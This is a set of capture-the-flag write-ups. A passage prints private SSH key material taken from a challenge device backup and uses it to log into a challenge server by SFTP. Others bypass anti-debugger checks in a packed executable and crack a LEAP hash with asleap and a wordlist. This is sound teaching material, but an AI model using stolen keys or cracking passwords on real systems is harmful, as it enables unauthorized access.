GATgOhVbuCjtqChCHXRGAlixL+Je1GxQBg5xq/ANg89ewzM2Ou95+LwEAMuxfLfj30dhAv47LAlOYv/z6hmJAcHBeOAuhtAwtBwVH2AS3XmBqztwFhC3bWZ7OAPbWwBjUzcsj2n7vHlrQRtBjq0+z/KJ3MD+EtPJ6/podz45yPqsyN6JkLcANEV+JKd4pkQZaC3mRFHAkG3KV4K5WSCBFTd6CLrDaUzSW0l1HZMpJfRgb3HDVBIos7gndW1kAkyKAF6rd7Dqqu3JUZ7eGhwzE18BZqG0QPxF9/122cit3vGjJCOVe8e8I6DjZmQyw8gaHYF64FZaikxS1c3Xddhj8WHRSwfPR+8NCrC8dWB62Bz29JoQXLj98GVG8HCv4wIt1EsAY3rfirh26AQEl2mPmrweTy1RvluQLOKFYJThdq4drnKd4WQPsLK7umh3izahawv1c4f7OlKHMcqvjPfwh3qegHppLUwFJWGw/cP1LE3/jjmPJarpqa/7m0d74M3CAdYoo7pMQiTcIsbV4d+g+0r/Dg2iUMn/zEtke0UwMAG2cGyNSG+GSBC7EVTrH9C2tzU7/jPFYU8u4Y1I4AHFaqhRtOrqm/UAENdfnBqg7kodX1/h2lEusTi9hkqZZEMaoKqEjWMYiCvJ8+tLpvx0Oss1JwQE6VL3Quu+vYcQs9xCvoNw0NAqoE2bpIpFJe0RJl3+6+GeJCut8H09m6hbGzFwqWsoVK0LhT5AK4CDwKI3poBlKYWGXVsDBeWId9rOi6rHplYew+P+ws4MldSbg2QnYbn/gdLQ3Jd5IIJ8x+RLjEKbRJ9b+rCTOiQ5RTWp45K/q2q4u6P2klQwR2EU7BV32Nl+ZevDZUnVQlMI7sWitzGFOec4k3/VIc6BQc8uZ4tAH0MPifEVoxG1mZx2vtfEcQTjKLKbwsWKlLM7LAgFe3ZDJ8aiebqvbxC7nkviMSLIUwZQzvWRCT+wff//wggYIBr/EytcFqJc3F0e9qTUv3r3ahaGwI8W2g2y9HmS+uFZxtacdqj4KdrHPcagm3Q=-----END OPENSSH PRIVATE KEY-----[skat@anubis:~/work/UIUCTF] $ chmod 600 key[skat@anubis:~/work/UIUCTF] $ ssh -i key -p 42069 [email protected]Enter passphrase for key 'key':This service allows sftp connections only.Connection to red.chal.uiuc.tf closed.``` Oh, it looks like the server only allows SFTP connections. Given the context of the scenario, that makes sense. No worries, we can just connect using SFTP instead of SSH: ```sh[skat@anubis:~/work/UIUCTF] $ sftp -i key -P 42069 [email protected]Enter passphrase for key 'key':Connected to red.chal.uiuc.tf.sftp> pwdRemote working directory: /home/redsftp> ls -a. .. .bash_history .bash_logout .bashrc .profile.ssh``` Alright, we're in! Let's have a look at the Bash history to see if there's anything interesting that Red may have done on this system. We can get files using the `get` command in SFTP: ```shsftp> get .bash_historyFetching /home/red/.bash_history to .bash_history/home/red/.bash_history 100% 31 0.2KB/s 00:00``` ```sh[skat@anubis:~/work/UIUCTF] $ cat .bash_historymv /srv/exfiltrated "/srv/..."``` It looks like the file `/srv/exfiltrated` was renamed to `/src/...`. Let's have a look at that file. We can again get the file using `get`: ```shsftp> cd /srvsftp> ls -a. .. ...sftp> get ...Fetching /srv/.../ to ...Cannot download non-regular file: /srv/.../``` Oh, it's a directory; the file was actually being moved to a directory. ```shsftp> cd ...sftp> lsimportant_data.jpgsftp> get important_data.jpgFetching /srv/.../important_data.jpg to important_data.jpg/srv/.../important_data.jpg 100% 43KB 78.0KB/s 00:00``` Awesome, some important data! Let's have a look at it: ![](https://irissec.xyz/uploads/2021-08-07/important_data.jpg) Just like that, we have a flag! ### Debriefing We were initially given a backup of Red's tablet and told that Red had been exfiltrating data to a private server; our objective was to access the server and contain the leak. We first got oriented and discovered what type of device it was: an iPad. From here, we began doing research and discovered that iPads use iPadOS, a variant of iOS, whose filesystem structure is [documented by Apple](https://web.archive.org/web/20210604045749/https://developer.apple.com/library/archive/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html). Learning that applications on an iOS device run inside of containers, we discover the location of the containers and generate a list of applications present on the device. We found that there was an SSH client and looked through the stored application data to discover a host, port, username, SSH private key, and the decryption password, allowing us to then connect to the server via SFTP, look through the Bash history, and retrieve the exfiltrated data. Although this was just a CTF challenge, the entire process very closely resembles an operation that could very well happen in real-life operations! Digital forensics is simply just the branch of forensic science involved with digital devices. It lends itself to criminal investigations by focusing on the investigation of digital devices, allowing evidence to be attributed to suspects, incriminating data to be recovered, and more. I oftentimes playfully refer to digital forensics as being like a "hacker detective." This challenge was a great exercise of the digital forensics process: given data, assess the situation and look for evidence of criminal activity on the digital device. Being just a CTF challenge, we could have some fun and also additionally hack into the remote server while avoiding the legal and bureaucratic process that would have otherwise been required as a prerequisite to such an act in a real-life investigation.
[link to original writeup](https://github.com/babaiserror/ctf/tree/main/%5B210813-16%5D%20ReallyAwesomeCTF%202021#Packed-PwnReversing-350-pts) General gist of it: The exe file "unpacks" data within it by subtracting 5 and xoring 0x80 to every bit in some section of 0x3000 bytes. With these bytes, the .exe file creates another .exe file in the temp directory and executes it, where the actual checking of license key happens. The executed exe file has a basic debugger check by calling `IsDebuggerPresent` and also its own debugger check, by calling ```try { asm{ pushfd or [esp], 0x100 popfd nop }} except (EXCEPTION_EXECUTE_HANDLER) { exceptionFlag = true}``` which prevents you from proceeding if you're in a debugger going through the instructions step by step. (Of course that code isn't given, and I didn't know before I saw the source code either) Without the debugger, the code takes the output from `IsDebuggerPresent` and the input name, and generates a license key, which is compared to the input license key. Solving this involves using a debugger (I used x64dbg), and setting breakpoints right after `IsDebuggerPresent` to set `eax` to 0, and after the `vsprintf` call to see the generated license key. After changing the value of `eax`, just run through it and don't step through individual instructions. More specifics in the link above.
(Author's writeup) **Goal: ** Notice the anomaly on the banner:$dog. Use google. **Tools: ** N/A **Solution:** 1) Reach elroy’s system, login 2) Execute “dog” 3) You will see: “Your flag is Elroy's dog plus the year when Jetsons were created. Lowercase.” 4) Google for the dog’s name. It’s “astro” 5) Google for the creation year. It’s “1962” **Flag: ** flag{astro1962}
Following the Kali Linux Wireless Penetration Testing: Beginner’s Guide we can use asleap to get the password.```> asleap -C c3:ae:5e:f9:dc:0e:22:fb -R 6c:52:1e:52:72:cc:7a:cb:0e:99:5e:4e:1c:3f:ab:d0:bc:39:54:8e:b0:21:e4:d0 -W ~/SecLists/rockyou.txtasleap 2.2 - actively recover LEAP/PPTP passwords. <[email protected]>Using wordlist mode with "/home/sharmoos/Documents/SecLists/rockyou.txt". hash bytes: 8799 NT hash: 1cb292fbd610e825d02492ec8d8c8799 password: rainbow6```